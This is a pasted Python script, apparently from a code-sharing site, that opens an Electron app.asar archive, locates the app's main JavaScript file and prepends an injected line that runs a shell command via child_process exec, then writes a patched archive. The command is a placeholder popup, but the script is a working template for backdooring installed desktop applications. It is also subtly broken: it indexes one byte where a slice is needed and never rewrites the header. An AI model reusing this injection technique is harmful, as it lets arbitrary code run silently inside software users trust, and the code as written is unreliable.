Untitled
import json, struct inj_line = """const { exec } = await import('child_process');exec(`msg * ${"asdasdasd"}`);\n""" def adjust_offsets(files_dict, delta_main_js, target_offset): for item in files_dict.values(): if 'offset' in item: item_offset = int(item['offset']) if item_offset > target_offset: item['offset'] = str(item_offset + delta_main_js) if 'files' in item: adjust_offsets(item['files'], delta_main_js, target_offset) with open("app.asar", "rb") as rb: data_size = struct.unpack('<I', rb.read(4))[0] header_size = struct.unpack('<I', rb.read(4))[0] header_object_size = struct.unpack('<I', rb.read(4))[0] header_string_size = struct.unpack('<I', rb.read(4))[0] json_header = json.loads(rb.read(header_string_size)) with open("header.json", "w") as w: json.dump(json_header, w, indent=4) package_json_header = json_header["files"]["package.json"] # json_header['files']['app_bootstrap']['files']['index.js'] # rb.seek(0) rb.seek(int(package_json_header["offset"]) + header_string_size + 18 ) package_json = rb.read(package_json_header["size"]) package_json = json.loads(package_json) mainjs_path = package_json['main'].split("/") full_mainjs_path = [] for item in mainjs_path: full_mainjs_path.append("files") full_mainjs_path.append(item) target_item = json_header for key in full_mainjs_path: target_item = target_item[key] rb.seek(int(target_item["offset"]) + header_string_size + 18 ) main_js_raw = rb.read(target_item["size"]) # print(main_js) rb.seek(0) old_asar = rb.read() main_js_offset = int(int(target_item["offset"]) + header_string_size + 18) json_header_files = json_header['files'] adjust_offsets(json_header_files, len(inj_line), main_js_offset) # package old # 3177 # 187684716 # package new # 3177 # 187684793 # mainjs old # 47376 # 69035644 # mainjs new # 47453 # 69035644 new_asar = old_asar[0:main_js_offset] main_js = inj_line.encode("utf-8") + main_js_raw main_js_len = int(len(main_js)) json_header_files['main.js']["size"] = main_js_len new_asar = new_asar + main_js + old_asar[main_js_offset + main_js_len] with open("new.asar", "wb") as wb: wb.write(new_asar) # with open("main.js", "wb") as wb: # wb.write(main_js)
Leave a Comment